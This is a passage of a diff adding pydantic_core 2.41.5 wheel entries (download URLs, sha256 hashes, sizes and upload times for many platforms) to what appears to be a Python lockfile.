+    { url = "https://files.pythonhosted.org/packages/5f/5d/5f6c63eebb5afee93bcaae4ce9a898f3373ca23df3ccaef086d0233a35a7/pydantic_core-2.41.5-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:f41a7489d32336dbf2199c8c0a215390a751c5b014c2c1c5366e817202e9cdf7", size = 2110990, upload-time = "2025-11-04T13:39:58.079Z" },
+    { url = "https://files.pythonhosted.org/packages/aa/32/9c2e8ccb57c01111e0fd091f236c7b371c1bccea0fa85247ac55b1e2b6b6/pydantic_core-2.41.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:070259a8818988b9a84a449a2a7337c7f430a22acc0859c6b110aa7212a6d9c0", size = 1896003, upload-time = "2025-11-04T13:39:59.956Z" },
+    { url = "https://files.pythonhosted.org/packages/68/b8/a01b53cb0e59139fbc9e4fda3e9724ede8de279097179be4ff31f1abb65a/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e96cea19e34778f8d59fe40775a7a574d95816eb150850a85a7a4c8f4b94ac69", size = 1919200, upload-time = "2025-11-04T13:40:02.241Z" },
+    { url = "https://files.pythonhosted.org/packages/38/de/8c36b5198a29bdaade07b5985e80a233a5ac27137846f3bc2d3b40a47360/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ed2e99c456e3fadd05c991f8f437ef902e00eedf34320ba2b0842bd1c3ca3a75", size = 2052578, upload-time = "2025-11-04T13:40:04.401Z" },
+    { url = "https://files.pythonhosted.org/packages/00/b5/0e8e4b5b081eac6cb3dbb7e60a65907549a1ce035a724368c330112adfdd/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:65840751b72fbfd82c3c640cff9284545342a4f1eb1586ad0636955b261b0b05", size = 2208504, upload-time = "2025-11-04T13:40:06.072Z" },
+    { url = "https://files.pythonhosted.org/packages/77/56/87a61aad59c7c5b9dc8caad5a41a5545cba3810c3e828708b3d7404f6cef/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e536c98a7626a98feb2d3eaf75944ef6f3dbee447e1f841eae16f2f0a72d8ddc", size = 2335816, upload-time = "2025-11-04T13:40:07.835Z" },
+    { url = "https://files.pythonhosted.org/packages/0d/76/941cc9f73529988688a665a5c0ecff1112b3d95ab48f81db5f7606f522d3/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c", size = 2075366, upload-time = "2025-11-04T13:40:09.804Z" },
+    { url = "https://files.pythonhosted.org/packages/d3/43/ebef01f69baa07a482844faaa0a591bad1ef129253ffd0cdaa9d8a7f72d3/pydantic_core-2.41.5-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d38548150c39b74aeeb0ce8ee1d8e82696f4a4e16ddc6de7b1d8823f7de4b9b5", size = 2171698, upload-time = "2025-11-04T13:40:12.004Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/87/41f3202e4193e3bacfc2c065fab7706ebe81af46a83d3e27605029c1f5a6/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:c23e27686783f60290e36827f9c626e63154b82b116d7fe9adba1fda36da706c", size = 2132603, upload-time = "2025-11-04T13:40:13.868Z" },
+    { url = "https://files.pythonhosted.org/packages/49/7d/4c00df99cb12070b6bccdef4a195255e6020a550d572768d92cc54dba91a/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:482c982f814460eabe1d3bb0adfdc583387bd4691ef00b90575ca0d2b6fe2294", size = 2329591, upload-time = "2025-11-04T13:40:15.672Z" },
+    { url = "https://files.pythonhosted.org/packages/cc/6a/ebf4b1d65d458f3cda6a7335d141305dfa19bdc61140a884d165a8a1bbc7/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:bfea2a5f0b4d8d43adf9d7b8bf019fb46fdd10a2e5cde477fbcb9d1fa08c68e1", size = 2319068, upload-time = "2025-11-04T13:40:17.532Z" },
+    { url = "https://files.pythonhosted.org/packages/49/3b/774f2b5cd4192d5ab75870ce4381fd89cf218af999515baf07e7206753f0/pydantic_core-2.41.5-cp312-cp312-win32.whl", hash = "sha256:b74557b16e390ec12dca509bce9264c3bbd128f8a2c376eaa68003d7f327276d", size = 1985908, upload-time = "2025-11-04T13:40:19.309Z" },
+    { url = "https://files.pythonhosted.org/packages/86/45/00173a033c801cacf67c190fef088789394feaf88a98a7035b0e40d53dc9/pydantic_core-2.41.5-cp312-cp312-win_amd64.whl", hash = "sha256:1962293292865bca8e54702b08a4f26da73adc83dd1fcf26fbc875b35d81c815", size = 2020145, upload-time = "2025-11-04T13:40:21.548Z" },
+    { url = "https://files.pythonhosted.org/packages/f9/22/91fbc821fa6d261b376a3f73809f907cec5ca6025642c463d3488aad22fb/pydantic_core-2.41.5-cp312-cp312-win_arm64.whl", hash = "sha256:1746d4a3d9a794cacae06a5eaaccb4b8643a131d45fbc9af23e353dc0a5ba5c3", size = 1976179, upload-time = "2025-11-04T13:40:23.393Z" },
+    { url = "https://files.pythonhosted.org/packages/87/06/8806241ff1f70d9939f9af039c6c35f2360cf16e93c2ca76f184e76b1564/pydantic_core-2.41.5-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:941103c9be18ac8daf7b7adca8228f8ed6bb7a1849020f643b3a14d15b1924d9", size = 2120403, upload-time = "2025-11-04T13:40:25.248Z" },
+    { url = "https://files.pythonhosted.org/packages/94/02/abfa0e0bda67faa65fef1c84971c7e45928e108fe24333c81f3bfe35d5f5/pydantic_core-2.41.5-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:112e305c3314f40c93998e567879e887a3160bb8689ef3d2c04b6cc62c33ac34", size = 1896206, upload-time = "2025-11-04T13:40:27.099Z" },
+    { url = "https://files.pythonhosted.org/packages/15/df/a4c740c0943e93e6500f9eb23f4ca7ec9bf71b19e608ae5b579678c8d02f/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0cbaad15cb0c90aa221d43c00e77bb33c93e8d36e0bf74760cd00e732d10a6a0", size = 1919307, upload-time = "2025-11-04T13:40:29.806Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/e3/6324802931ae1d123528988e0e86587c2072ac2e5394b4bc2bc34b61ff6e/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:03ca43e12fab6023fc79d28ca6b39b05f794ad08ec2feccc59a339b02f2b3d33", size = 2063258, upload-time = "2025-11-04T13:40:33.544Z" },
+    { url = "https://files.pythonhosted.org/packages/c9/d4/2230d7151d4957dd79c3044ea26346c148c98fbf0ee6ebd41056f2d62ab5/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:dc799088c08fa04e43144b164feb0c13f9a0bc40503f8df3e9fde58a3c0c101e", size = 2214917, upload-time = "2025-11-04T13:40:35.479Z" },
+    { url = "https://files.pythonhosted.org/packages/e6/9f/eaac5df17a3672fef0081b6c1bb0b82b33ee89aa5cec0d7b05f52fd4a1fa/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:97aeba56665b4c3235a0e52b2c2f5ae9cd071b8a8310ad27bddb3f7fb30e9aa2", size = 2332186, upload-time = "2025-11-04T13:40:37.436Z" },
+    { url = "https://files.pythonhosted.org/packages/cf/4e/35a80cae583a37cf15604b44240e45c05e04e86f9cfd766623149297e971/pydantic_core-2.41.5-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:406bf18d345822d6c21366031003612b9c77b3e29ffdb0f612367352aab7d586", size = 2073164, upload-time = "2025-11-04T13:40:40.289Z" },
+    { url = "https://files.pythonhosted.org/packages/bf/e3/f6e262673c6140dd3305d144d032f7bd5f7497d3871c1428521f19f9efa2/pydantic_core-2.41.5-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b93590ae81f7010dbe380cdeab6f515902ebcbefe0b9327cc4804d74e93ae69d", size = 2179146, upload-time = "2025-11-04T13:40:42.809Z" },
+    { url = "https://files.pythonhosted.org/packages/75/c7/20bd7fc05f0c6ea2056a4565c6f36f8968c0924f19b7d97bbfea55780e73/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:01a3d0ab748ee531f4ea6c3e48ad9dac84ddba4b0d82291f87248f2f9de8d740", size = 2137788, upload-time = "2025-11-04T13:40:44.752Z" },
+    { url = "https://files.pythonhosted.org/packages/3a/8d/34318ef985c45196e004bc46c6eab2eda437e744c124ef0dbe1ff2c9d06b/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:6561e94ba9dacc9c61bce40e2d6bdc3bfaa0259d3ff36ace3b1e6901936d2e3e", size = 2340133, upload-time = "2025-11-04T13:40:46.66Z" },
+    { url = "https://files.pythonhosted.org/packages/9c/59/013626bf8c78a5a5d9350d12e7697d3d4de951a75565496abd40ccd46bee/pydantic_core-2.41.5-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:915c3d10f81bec3a74fbd4faebe8391013ba61e5a1a8d48c4455b923bdda7858", size = 2324852, upload-time = "2025-11-04T13:40:48.575Z" },
+    { url = "https://files.pythonhosted.org/packages/1a/d9/c248c103856f807ef70c18a4f986693a46a8ffe1602e5d361485da502d20/pydantic_core-2.41.5-cp313-cp313-win32.whl", hash = "sha256:650ae77860b45cfa6e2cdafc42618ceafab3a2d9a3811fcfbd3bbf8ac3c40d36", size = 1994679, upload-time = "2025-11-04T13:40:50.619Z" },
+    { url = "https://files.pythonhosted.org/packages/9e/8b/341991b158ddab181cff136acd2552c9f35bd30380422a639c0671e99a91/pydantic_core-2.41.5-cp313-cp313-win_amd64.whl", hash = "sha256:79ec52ec461e99e13791ec6508c722742ad745571f234ea6255bed38c6480f11", size = 2019766, upload-time = "2025-11-04T13:40:52.631Z" },
+    { url = "https://files.pythonhosted.org/packages/73/7d/f2f9db34af103bea3e09735bb40b021788a5e834c81eedb541991badf8f5/pydantic_core-2.41.5-cp313-cp313-win_arm64.whl", hash = "sha256:3f84d5c1b4ab906093bdc1ff10484838aca54ef08de4afa9de0f5f14d69639cd", size = 1981005, upload-time = "2025-11-04T13:40:54.734Z" },
+    { url = "https://files.pythonhosted.org/packages/ea/28/46b7c5c9635ae96ea0fbb779e271a38129df2550f763937659ee6c5dbc65/pydantic_core-2.41.5-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:3f37a19d7ebcdd20b96485056ba9e8b304e27d9904d233d7b1015db320e51f0a", size = 2119622, upload-time = "2025-11-04T13:40:56.68Z" },
+    { url = "https://files.pythonhosted.org/packages/74/1a/145646e5687e8d9a1e8d09acb278c8535ebe9e972e1f162ed338a622f193/pydantic_core-2.41.5-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1d1d9764366c73f996edd17abb6d9d7649a7eb690006ab6adbda117717099b14", size = 1891725, upload-time = "2025-11-04T13:40:58.807Z" },
+    { url = "https://files.pythonhosted.org/packages/23/04/e89c29e267b8060b40dca97bfc64a19b2a3cf99018167ea1677d96368273/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:25e1c2af0fce638d5f1988b686f3b3ea8cd7de5f244ca147c777769e798a9cd1", size = 1915040, upload-time = "2025-11-04T13:41:00.853Z" },
+    { url = "https://files.pythonhosted.org/packages/84/a3/15a82ac7bd97992a82257f777b3583d3e84bdb06ba6858f745daa2ec8a85/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:506d766a8727beef16b7adaeb8ee6217c64fc813646b424d0804d67c16eddb66", size = 2063691, upload-time = "2025-11-04T13:41:03.504Z" },
+    { url = "https://files.pythonhosted.org/packages/74/9b/0046701313c6ef08c0c1cf0e028c67c770a4e1275ca73131563c5f2a310a/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4819fa52133c9aa3c387b3328f25c1facc356491e6135b459f1de698ff64d869", size = 2213897, upload-time = "2025-11-04T13:41:05.804Z" },
+    { url = "https://files.pythonhosted.org/packages/8a/cd/6bac76ecd1b27e75a95ca3a9a559c643b3afcd2dd62086d4b7a32a18b169/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2b761d210c9ea91feda40d25b4efe82a1707da2ef62901466a42492c028553a2", size = 2333302, upload-time = "2025-11-04T13:41:07.809Z" },
+    { url = "https://files.pythonhosted.org/packages/4c/d2/ef2074dc020dd6e109611a8be4449b98cd25e1b9b8a303c2f0fca2f2bcf7/pydantic_core-2.41.5-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:22f0fb8c1c583a3b6f24df2470833b40207e907b90c928cc8d3594b76f874375", size = 2064877, upload-time = "2025-11-04T13:41:09.827Z" },
+    { url = "https://files.pythonhosted.org/packages/18/66/e9db17a9a763d72f03de903883c057b2592c09509ccfe468187f2a2eef29/pydantic_core-2.41.5-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2782c870e99878c634505236d81e5443092fba820f0373997ff75f90f68cd553", size = 2180680, upload-time = "2025-11-04T13:41:12.379Z" },
+    { url = "https://files.pythonhosted.org/packages/d3/9e/3ce66cebb929f3ced22be85d4c2399b8e85b622db77dad36b73c5387f8f8/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:0177272f88ab8312479336e1d777f6b124537d47f2123f89cb37e0accea97f90", size = 2138960, upload-time = "2025-11-04T13:41:14.627Z" },
+    { url = "https://files.pythonhosted.org/packages/a6/62/205a998f4327d2079326b01abee48e502ea739d174f0a89295c481a2272e/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:63510af5e38f8955b8ee5687740d6ebf7c2a0886d15a6d65c32814613681bc07", size = 2339102, upload-time = "2025-11-04T13:41:16.868Z" },
+    { url = "https://files.pythonhosted.org/packages/3c/0d/f05e79471e889d74d3d88f5bd20d0ed189ad94c2423d81ff8d0000aab4ff/pydantic_core-2.41.5-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:e56ba91f47764cc14f1daacd723e3e82d1a89d783f0f5afe9c364b8bb491ccdb", size = 2326039, upload-time = "2025-11-04T13:41:18.934Z" },
+    { url = "https://files.pythonhosted.org/packages/ec/e1/e08a6208bb100da7e0c4b288eed624a703f4d129bde2da475721a80cab32/pydantic_core-2.41.5-cp314-cp314-win32.whl", hash = "sha256:aec5cf2fd867b4ff45b9959f8b20ea3993fc93e63c7363fe6851424c8a7e7c23", size = 1995126, upload-time = "2025-11-04T13:41:21.418Z" },
+    { url = "https://files.pythonhosted.org/packages/48/5d/56ba7b24e9557f99c9237e29f5c09913c81eeb2f3217e40e922353668092/pydantic_core-2.41.5-cp314-cp314-win_amd64.whl", hash = "sha256:8e7c86f27c585ef37c35e56a96363ab8de4e549a95512445b85c96d3e2f7c1bf", size = 2015489, upload-time = "2025-11-04T13:41:24.076Z" },
+    { url = "https://files.pythonhosted.org/packages/4e/bb/f7a190991ec9e3e0ba22e4993d8755bbc4a32925c0b5b42775c03e8148f9/pydantic_core-2.41.5-cp314-cp314-win_arm64.whl", hash = "sha256:e672ba74fbc2dc8eea59fb6d4aed6845e6905fc2a8afe93175d94a83ba2a01a0", size = 1977288, upload-time = "2025-11-04T13:41:26.33Z" },
+    { url = "https://files.pythonhosted.org/packages/92/ed/77542d0c51538e32e15afe7899d79efce4b81eee631d99850edc2f5e9349/pydantic_core-2.41.5-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:8566def80554c3faa0e65ac30ab0932b9e3a5cd7f8323764303d468e5c37595a", size = 2120255, upload-time = "2025-11-04T13:41:28.569Z" },
+    { url = "https://files.pythonhosted.org/packages/bb/3d/6913dde84d5be21e284439676168b28d8bbba5600d838b9dca99de0fad71/pydantic_core-2.41.5-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:b80aa5095cd3109962a298ce14110ae16b8c1aece8b72f9dafe81cf597ad80b3", size = 1863760, upload-time = "2025-11-04T13:41:31.055Z" },
+    { url = "https://files.pythonhosted.org/packages/5a/f0/e5e6b99d4191da102f2b0eb9687aaa7f5bea5d9964071a84effc3e40f997/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3006c3dd9ba34b0c094c544c6006cc79e87d8612999f1a5d43b769b89181f23c", size = 1878092, upload-time = "2025-11-04T13:41:33.21Z" },
+    { url = "https://files.pythonhosted.org/packages/71/48/36fb760642d568925953bcc8116455513d6e34c4beaa37544118c36aba6d/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:72f6c8b11857a856bcfa48c86f5368439f74453563f951e473514579d44aa612", size = 2053385, upload-time = "2025-11-04T13:41:35.508Z" },
+    { url = "https://files.pythonhosted.org/packages/20/25/92dc684dd8eb75a234bc1c764b4210cf2646479d54b47bf46061657292a8/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5cb1b2f9742240e4bb26b652a5aeb840aa4b417c7748b6f8387927bc6e45e40d", size = 2218832, upload-time = "2025-11-04T13:41:37.732Z" },
+    { url = "https://files.pythonhosted.org/packages/e2/09/f53e0b05023d3e30357d82eb35835d0f6340ca344720a4599cd663dca599/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bd3d54f38609ff308209bd43acea66061494157703364ae40c951f83ba99a1a9", size = 2327585, upload-time = "2025-11-04T13:41:40Z" },
+    { url = "https://files.pythonhosted.org/packages/aa/4e/2ae1aa85d6af35a39b236b1b1641de73f5a6ac4d5a7509f77b814885760c/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2ff4321e56e879ee8d2a879501c8e469414d948f4aba74a2d4593184eb326660", size = 2041078, upload-time = "2025-11-04T13:41:42.323Z" },
+    { url = "https://files.pythonhosted.org/packages/cd/13/2e215f17f0ef326fc72afe94776edb77525142c693767fc347ed6288728d/pydantic_core-2.41.5-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d0d2568a8c11bf8225044aa94409e21da0cb09dcdafe9ecd10250b2baad531a9", size = 2173914, upload-time = "2025-11-04T13:41:45.221Z" },
+    { url = "https://files.pythonhosted.org/packages/02/7a/f999a6dcbcd0e5660bc348a3991c8915ce6599f4f2c6ac22f01d7a10816c/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:a39455728aabd58ceabb03c90e12f71fd30fa69615760a075b9fec596456ccc3", size = 2129560, upload-time = "2025-11-04T13:41:47.474Z" },
+    { url = "https://files.pythonhosted.org/packages/3a/b1/6c990ac65e3b4c079a4fb9f5b05f5b013afa0f4ed6780a3dd236d2cbdc64/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:239edca560d05757817c13dc17c50766136d21f7cd0fac50295499ae24f90fdf", size = 2329244, upload-time = "2025-11-04T13:41:49.992Z" },
+    { url = "https://files.pythonhosted.org/packages/d9/02/3c562f3a51afd4d88fff8dffb1771b30cfdfd79befd9883ee094f5b6c0d8/pydantic_core-2.41.5-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:2a5e06546e19f24c6a96a129142a75cee553cc018ffee48a460059b1185f4470", size = 2331955, upload-time = "2025-11-04T13:41:54.079Z" },
+    { url = "https://files.pythonhosted.org/packages/5c/96/5fb7d8c3c17bc8c62fdb031c47d77a1af698f1d7a406b0f79aaa1338f9ad/pydantic_core-2.41.5-cp314-cp314t-win32.whl", hash = "sha256:b4ececa40ac28afa90871c2cc2b9ffd2ff0bf749380fbdf57d165fd23da353aa", size = 1988906, upload-time = "2025-11-04T13:41:56.606Z" },
+    { url = "https://files.pythonhosted.org/packages/22/ed/182129d83032702912c2e2d8bbe33c036f342cc735737064668585dac28f/pydantic_core-2.41.5-cp314-cp314t-win_amd64.whl", hash = "sha256:80aa89cad80b32a912a65332f64a4450ed00966111b6615ca6816153d3585a8c", size = 1981607, upload-time = "2025-11-04T13:41:58.889Z" },
+    { url = "https://files.pythonhosted.org/packages/9f/ed/068e41660b832bb0b1aa5b58011dea2a3fe0ba7861ff38c4d4904c1c1a99/pydantic_core-2.41.5-cp314-cp314t-win_arm64.whl", hash = "sha256:35b44f37a3199f771c3eaa53051bc8a70cd7b54f333531c59e29fd4db5d15008", size = 1974769, upload-time = "2025-11-04T13:42:01.186Z" },
+    { url = "https://files.pythonhosted.org/packages/11/72/90fda5ee3b97e51c494938a4a44c3a35a9c96c19bba12372fb9c634d6f57/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:b96d5f26b05d03cc60f11a7761a5ded1741da411e7fe0909e27a5e6a0cb7b034", size = 2115441, upload-time = "2025-11-04T13:42:39.557Z" },
+    { url = "https://files.pythonhosted.org/packages/1f/53/8942f884fa33f50794f119012dc6a1a02ac43a56407adaac20463df8e98f/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:634e8609e89ceecea15e2d61bc9ac3718caaaa71963717bf3c8f38bfde64242c", size = 1930291, upload-time = "2025-11-04T13:42:42.169Z" },
+    { url = "https://files.pythonhosted.org/packages/79/c8/ecb9ed9cd942bce09fc888ee960b52654fbdbede4ba6c2d6e0d3b1d8b49c/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:93e8740d7503eb008aa2df04d3b9735f845d43ae845e6dcd2be0b55a2da43cd2", size = 1948632, upload-time = "2025-11-04T13:42:44.564Z" },
+    { url = "https://files.pythonhosted.org/packages/2e/1b/687711069de7efa6af934e74f601e2a4307365e8fdc404703afc453eab26/pydantic_core-2.41.5-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f15489ba13d61f670dcc96772e733aad1a6f9c429cc27574c6cdaed82d0146ad", size = 2138905, upload-time = "2025-11-04T13:42:47.156Z" },
+    { url = "https://files.pythonhosted.org/packages/09/32/59b0c7e63e277fa7911c2fc70ccfb45ce4b98991e7ef37110663437005af/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:7da7087d756b19037bc2c06edc6c170eeef3c3bafcb8f532ff17d64dc427adfd", size = 2110495, upload-time = "2025-11-04T13:42:49.689Z" },
+    { url = "https://files.pythonhosted.org/packages/aa/81/05e400037eaf55ad400bcd318c05bb345b57e708887f07ddb2d20e3f0e98/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:aabf5777b5c8ca26f7824cb4a120a740c9588ed58df9b2d196ce92fba42ff8dc", size = 1915388, upload-time = "2025-11-04T13:42:52.215Z" },
+    { url = "https://files.pythonhosted.org/packages/6e/0d/e3549b2399f71d56476b77dbf3cf8937cec5cd70536bdc0e374a421d0599/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c007fe8a43d43b3969e8469004e9845944f1a80e6acd47c150856bb87f230c56", size = 1942879, upload-time = "2025-11-04T13:42:56.483Z" },
+    { url = "https://files.pythonhosted.org/packages/f7/07/34573da085946b6a313d7c42f82f16e8920bfd730665de2d11c0c37a74b5/pydantic_core-2.41.5-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76d0819de158cd855d1cbb8fcafdf6f5cf1eb8e470abe056d5d161106e38062b", size = 2139017, upload-time = "2025-11-04T13:42:59.471Z" },
+    { url = "https://files.pythonhosted.org/packages/e6/b0/1a2aa41e3b5a4ba11420aba2d091b2d17959c8d1519ece3627c371951e73/pydantic_core-2.41.5-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b5819cd790dbf0c5eb9f82c73c16b39a65dd6dd4d1439dcdea7816ec9adddab8", size = 2103351, upload-time = "2025-11-04T13:43:02.058Z" },
+    { url = "https://files.pythonhosted.org/packages/a4/ee/31b1f0020baaf6d091c87900ae05c6aeae101fa4e188e1613c80e4f1ea31/pydantic_core-2.41.5-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:5a4e67afbc95fa5c34cf27d9089bca7fcab4e51e57278d710320a70b956d1b9a", size = 1925363, upload-time = "2025-11-04T13:43:05.159Z" },
+    { url = "https://files.pythonhosted.org/packages/e1/89/ab8e86208467e467a80deaca4e434adac37b10a9d134cd2f99b28a01e483/pydantic_core-2.41.5-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ece5c59f0ce7d001e017643d8d24da587ea1f74f6993467d85ae8a5ef9d4f42b", size = 2135615, upload-time = "2025-11-04T13:43:08.116Z" },
+    { url = "https://files.pythonhosted.org/packages/99/0a/99a53d06dd0348b2008f2f30884b34719c323f16c3be4e6cc1203b74a91d/pydantic_core-2.41.5-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:16f80f7abe3351f8ea6858914ddc8c77e02578544a0ebc15b4c2e1a0e813b0b2", size = 2175369, upload-time = "2025-11-04T13:43:12.49Z" },
+    { url = "https://files.pythonhosted.org/packages/6d/94/30ca3b73c6d485b9bb0bc66e611cff4a7138ff9736b7e66bcf0852151636/pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:33cb885e759a705b426baada1fe68cbb0a2e68e34c5d0d0289a364cf01709093", size = 2144218, upload-time = "2025-11-04T13:43:15.431Z" },
+    { url = "https://files.pythonhosted.org/packages/87/57/31b4f8e12680b739a91f472b5671294236b82586889ef764b5fbc6669238/pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:c8d8b4eb992936023be7dee581270af5c6e0697a8559895f527f5b7105ecd36a", size = 2329951, upload-time = "2025-11-04T13:43:18.062Z" },
+    { url = "https://files.pythonhosted.org/packages/7d/73/3c2c8edef77b8f7310e6fb012dbc4b8551386ed575b9eb6fb2506e28a7eb/pydantic_core-2.41.5-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:242a206cd0318f95cd21bdacff3fcc3aab23e79bba5cac3db5a841c9ef9c6963", size = 2318428, upload-time = "2025-11-04T13:43:20.679Z" },
+    { url = "https://files.pythonhosted.org/packages/2f/02/8559b1f26ee0d502c74f9cca5c0d2fd97e967e083e006bbbb4e97f3a043a/pydantic_core-2.41.5-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:d3a978c4f57a597908b7e697229d996d77a6d3c94901e9edee593adada95ce1a", size = 2147009, upload-time = "2025-11-04T13:43:23.286Z" },
+    { url = "https://files.pythonhosted.org/packages/5f/9b/1b3f0e9f9305839d7e84912f9e8bfbd191ed1b1ef48083609f0dabde978c/pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:b2379fa7ed44ddecb5bfe4e48577d752db9fc10be00a6b7446e9663ba143de26", size = 2101980, upload-time = "2025-11-04T13:43:25.97Z" },
+    { url = "https://files.pythonhosted.org/packages/a4/ed/d71fefcb4263df0da6a85b5d8a7508360f2f2e9b3bf5814be9c8bccdccc1/pydantic_core-2.41.5-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:266fb4cbf5e3cbd0b53669a6d1b039c45e3ce651fd5442eff4d07c2cc8d66808", size = 1923865, upload-time = "2025-11-04T13:43:28.763Z" },
+    { url = "https://files.pythonhosted.org/packages/ce/3a/626b38db460d675f873e4444b4bb030453bbe7b4ba55df821d026a0493c4/pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58133647260ea01e4d0500089a8c4f07bd7aa6ce109682b1426394988d8aaacc", size = 2134256, upload-time = "2025-11-04T13:43:31.71Z" },
+    { url = "https://files.pythonhosted.org/packages/83/d9/8412d7f06f616bbc053d30cb4e5f76786af3221462ad5eee1f202021eb4e/pydantic_core-2.41.5-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:287dad91cfb551c363dc62899a80e9e14da1f0e2b6ebde82c806612ca2a13ef1", size = 2174762, upload-time = "2025-11-04T13:43:34.744Z" },
+    { url = "https://files.pythonhosted.org/packages/55/4c/162d906b8e3ba3a99354e20faa1b49a85206c47de97a639510a0e673f5da/pydantic_core-2.41.5-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:03b77d184b9eb40240ae9fd676ca364ce1085f203e1b1256f8ab9984dca80a84", size = 2143141, upload-time = "2025-11-04T13:43:37.701Z" },
